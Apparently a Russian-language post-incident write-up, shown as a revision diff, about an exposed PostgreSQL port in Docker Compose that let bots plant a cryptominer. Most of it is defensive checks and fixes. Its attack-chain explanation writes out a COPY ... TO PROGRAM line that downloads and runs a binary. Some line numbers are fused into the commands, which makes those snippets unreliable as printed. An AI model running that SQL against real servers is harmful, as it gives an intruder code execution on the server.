Посмотреть, что реально слушает наружуMoved
Не в compose-файле, а в системе:
1ss -tlnp
2ss -tlnp | grep -E '5432|6379|3306|27017'
Читаем колонку с адресом:
10.0.0.0:5432 <- ПЛОХО, доступно из интернета
2[::]:5432 <- ПЛОХО, то же самое для IPv6
3127.0.0.1:5432 <- только локально
Если ss нет, подойдёт netstat -tlnp.
ss -tlnp | grep -E '5432|6379|3306|27017'Убрать публикацию портов у баз и кэшейMoved
В compose-файле удали раздел ports целиком у всех сервисов, к которым не должны обращаться снаружи: базы, кэши, очереди, внутренние API.
1postgres:
2
3
4 networks: [backend]
Затем пересоздать контейнеры, а не просто перезапустить:
1docker compose up -d --force-recreate postgres redis
После этого снова ss -tlnp — порт должен исчезнуть.
docker compose up -d --force-recreateНайти следыMoved
Типовые признаки майнера:
1
2ps aux --sort=-%cpu | head -10
3
4
5ps aux | grep -E '/tmp/|/var/tmp/|/dev/shm/' | grep -v grep
6
7
8ss -tupn | grep ESTAB
9
10
11crontab -l
12ls -la /etc/cron.d/ /etc/cron.hourly/
13systemctl list-units --type=service --state=running
В разобранном случае процессы принадлежали пользователю postgres и лежали в /tmp — сочетание, которого в норме не бывает.
ps aux --sort=-%cpu | head -10Считать все секреты скомпрометированнымиMoved
Если кто-то выполнял команды на сервере, он мог прочитать всё, к чему имел доступ: переменные окружения контейнеров, файлы .env, ключи, содержимое базы.
Менять надо:
- пароли всех баз и кэшей на этой машине;
- ключи подписи токенов — иначе выпущенные токены остаются валидными;
- ключи доступа к внешним сервисам: хранилище, платежи, почта;
- ключи развёртывания и токены доступа к репозиториям.
Пароли пользователей приложения — отдельный разговор: если утекла база с хешами, а хеши слабые, их придётся сбрасывать.
Проверить актуальную версию Docker и ComposeAdded
Убедитесь, что используете последние версии Docker и Docker Compose, чтобы избежать проблем с устаревшими флагами и функциями.
docker --version && docker-compose --versionПроверить настройки firewallAdded
Убедитесь, что настройки firewall соответствуют вашим требованиям безопасности и блокируют нежелательный доступ к сервисам.
# Что случилосьRemoved
# Что случилось
Реальный случай, все опознавательные детали убраны.
| Когда | Что |
|---|---|
| День 1, 08:07 | Задеплоен compose-файл с прокинутым портом PostgreSQL |
| День 1, 16:29 | Первое срабатывание OOM killer — уже майнер |
| Дни 1–6 | Криптомайнер работает, никто не замечает |
| День 6, 14:14 | Найден и удалён |
| День 6, 14:45 | Порт закрыт |
**От деплоя до атаки — восемь часов.** Не месяц, не неделя. Восемь часов. Никто сервер не искал: боты круглосуточно перебирают весь диапазон адресов и стучатся в стандартные порты.
Украдено за это время: 2.3 ГБ оперативной памяти и 162% процессора — постоянно, шесть суток.
Виновата была одна строка.
## Та самая строкаRemoved
## Та самая строка
```yaml
postgres:
image: postgres:15-alpine
environment:
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
ports:
- "5432:5432" # <- вот это
```
Выглядит безобидно. Но в этой записи **не указан адрес хоста**, а значит Docker подставляет `0.0.0.0` — «слушать на всех сетевых интерфейсах». То есть на публичном адресе сервера. То есть из интернета.
Три формы записи и что они на самом деле значат:
| Запись | Кто может подключиться |
|---|---|
| `"5432:5432"` | **весь интернет** |
| `"127.0.0.1:5432:5432"` | только сам сервер |
| раздела `ports` нет вообще | только контейнеры в той же docker-сети |
Правильный ответ для базы данных — **третий**. Приложению порт наружу не нужен: оно ходит в базу по имени сервиса внутри сети Docker.
```yaml
postgres:
image: postgres:15-alpine
networks: [backend]
# ports НЕ НУЖЕН
api:
networks: [backend]
environment:
DATABASE_URL: postgresql://user:pass@postgres:5432/db
# ^^^^^^^^ имя сервиса, не адрес
```
## Как из открытого порта получается запущенный процессRemoved
## Как из открытого порта получается запущенный процесс
Это не магия и не дыра в PostgreSQL. Это **штатная возможность**, которой воспользовались:
```
1. Бот сканирует диапазон адресов, находит открытый 5432
|
2. Подбирает пароль (или пробует стандартный)
|
3. Выполняет обычный SQL-запрос:
COPY (SELECT '') TO PROGRAM 'curl http://... -o /tmp/m && chmod +x /tmp/m && /tmp/m';
|
4. PostgreSQL честно выполняет команду в операционной системе
|
5. Майнер запущен от пользователя postgres
```
`COPY ... TO PROGRAM` умеет запускать программы на сервере — так и задумано, это фича для выгрузки данных через внешний обработчик. Доступна суперпользователю и обладателям роли `pg_execute_server_program`. А `postgres` из стандартного образа — как раз суперпользователь.
**Отсюда правило:** доступ к порту базы данных равен возможности выполнять команды на сервере. Не «прочитать данные» — а именно выполнять команды. Относиться к нему надо так же, как к доступу по SSH.
## Firewall тебя не спасётRemoved
## Firewall тебя не спасёт
Самая неприятная часть. Типичная логика: «порты открыты, но у меня стоит ufw и всё лишнее закрыто». Это не работает.
Из документации Docker:
> Docker routes container traffic in the `nat` table, which means that packets are diverted before it reaches the `INPUT` and `OUTPUT` chains that ufw uses.
Перевод: Docker направляет трафик контейнеров в таблице `nat`, и пакеты уходят по назначению **до того**, как доберутся до цепочек `INPUT` и `OUTPUT`, с которыми работает ufw.
То есть `ufw deny 5432` создаёт **ощущение** защиты, ничего при этом не закрывая. Порт останется доступным, а ты будешь уверен в обратном — это хуже, чем знать, что защиты нет.
**Вывод:** единственная надёжная защита прокинутого порта — не прокидывать его. Не «закрыть файрволом», а не публиковать вовсе.
Проверяется это одной командой с другой машины:
```bash
nc -zv адрес-сервера 5432
```
Ответ `succeeded` означает, что порт открыт, что бы ни показывал `ufw status`.
## Почему это не «глупая ошибка»Removed
## Почему это не «глупая ошибка»
Самое интересное в этой истории: конфигурация не была придумана. Она была **скопирована из официальной документации** фреймворка, на котором сделан проект. В разделе про запуск в Docker там стояло ровно `"5432:5432"` — и никакого предупреждения о том, что пример рассчитан на локальную разработку.
Это типично. Примеры в документации почти всегда пишут под «запустить у себя и посмотреть»: порты наружу, чтобы можно было подключиться клиентом, пароли вроде `postgres`, никаких ограничений. Для их задачи это правильно.
**Отсюда два вывода на будущее.**
Первый: пример из документации — это не конфигурация для боевого сервера. Между ними всегда есть работа: убрать порты, вынести секреты, ограничить права.
Второй, более важный: если ты нашёл такое в документации — заведи issue у авторов. Ты не единственный, кто скопировал этот кусок.
## Короткий чеклист перед выкаткойRemoved
## Короткий чеклист перед выкаткой
```bash
# 1. Что реально слушает наружу
ss -tlnp | grep -v 127.0.0.1
# 2. Есть ли ports у того, чему они не нужны
grep -n -A2 'ports:' docker-compose.yml
# 3. Секреты в файле или в окружении
grep -nE '(PASSWORD|SECRET|TOKEN|KEY)\s*[:=]\s*[^$]' docker-compose.yml
# 4. Проверка снаружи, с другой машины
nc -zv адрес-сервера 5432 6379
```
Четыре команды, полторы минуты. Инцидент выше стоил шести суток чужого майнинга и полного дня разбора.